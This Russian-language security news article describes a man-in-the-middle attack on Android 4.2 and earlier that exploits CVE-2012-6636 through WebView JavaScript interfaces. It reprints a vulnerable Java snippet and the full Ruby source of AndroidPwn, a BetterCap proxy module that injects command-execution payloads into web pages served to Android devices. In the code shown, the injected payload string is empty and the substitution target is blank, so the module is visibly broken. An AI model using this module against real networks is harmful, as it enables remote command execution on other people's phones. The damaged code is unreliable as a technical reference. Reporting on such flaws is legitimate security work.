Обнаружен новый способ осуществления MitM-атаки на Android-устройства

image

Теги: Android, уязвимость, атака

Устройства под управлением ОС Android 4.2 и более ранних версий могут быть скомпрометированы.

Исследователь безопасности Симон Маргарителли (Simone Margaritelli) обнаружил способ атаки на операционную систему Android (устаревшие версии), позволяющий скомпрометировать любое устройство под управлением устаревшей версии мобильной ОС. Используя исправленную в 2012 году уязвимость и ПО для осуществления атак «человек посередине» BetterCap, злоумышленник может выполнить произвольные команды на устройстве.

В ходе атаки необходимо проэксплуатировать уязвимость CVE-2012-6636. Ошибка позволяет выполнить произвольные команды через приложение, использующее элементы управления интерфейсом на WebView и декларирующее собственный JavaScript-интерфейс с помощью следующего кода:

public class WebViewGUI extends Activity {
   WebView mWebView;
   public void onCreate(Bundle savedInstanceState) {
     super.onCreate(savedInstanceState);
     mWebView=new WebView(this);
     mWebView.getSettings().setJavaScriptEnabled(true);
     mWebView.addJavascriptInterface(new JavaScriptInterface(), "jsinterface");
     mWebView.loadUrl("file:///android_asset/www/index.html");
     setContentView(mWebView);
   }
 
   final class JavaScriptInterface {
     JavaScriptInterface () { }
     public String getSomeString() {
       return "string";
     }
   }
 }
 
.

Удаленный пользователь может вставить специально сформированный JavaScript-сценарий в страницу. Запуск скрипта позволит выполнить произвольные команды.

Исследователь написал прокси-модуль AndroidPwn, позволяющий в автоматическом режиме осуществлять атаки «человек посередине» против всех устройств, находящихся в сети. Разработка специалиста также использует BetterCap – специализированное ПО для автоматического осуществления подобных атак. Код модуля представлен ниже:

class AndroidPwn < BetterCap::Proxy::Module  
   @@command = nil
   @@payload = ""
 
   def self.on_options(opts)
     opts.separator ""
     opts.separator "AndroidPwn Proxy Module Options:"
     opts.separator ""
 
     opts.on( '--command STRING', 'Shell command(s) to execute.' ) do |v|
       @@command = v.strip
       @@payload['COMMAND_HERE'] = @@command.gsub( "'", "\\\\'" )
     end
   end
 
   def initialize
     raise BetterCap::Error, "No --command option specified for the proxy module." if @@command.nil?
   end
 
   def on_request( request, response )
     if is_exploitable?( request, response )
       BetterCap::Logger.info ""
       BetterCap::Logger.info "Pwning Android Device :".red
       BetterCap::Logger.info "  URL    : http://#{request.host}#{request.url}"
       BetterCap::Logger.info "  AGENT  : #{request.headers['User-Agent']}"
       BetterCap::Logger.info ""
 
       response.body.sub!( '', "#{@@payload}" )
     end
   end
 
   private
 
   def is_exploitable?(req,res)
     req.headers.has_key?('User-Agent') and \
     req.headers['User-Agent'].include?("Android") and \
     req.headers['User-Agent'].include?("AppleWebKit") and \
     res.content_type =~ /^text\/html.*/ and \
     res.code == '200'
   end
 end
 
Модуль автоматически осуществляет атаки «человек посередине» на все устройства под управлением Android 4.2 в сети под контролем злоумышленника. AndroidPwn позволяет выборочно компрометировать выбранные устройства.

Единственным способом защититься от атак с применением AndroidPwn является обновление до более современной версии Android. В настоящее время Android 4.2 и более ранние версии используются на 27,1% всех мобильных устройств, где установлена данная ОС.



comments powered by Disqus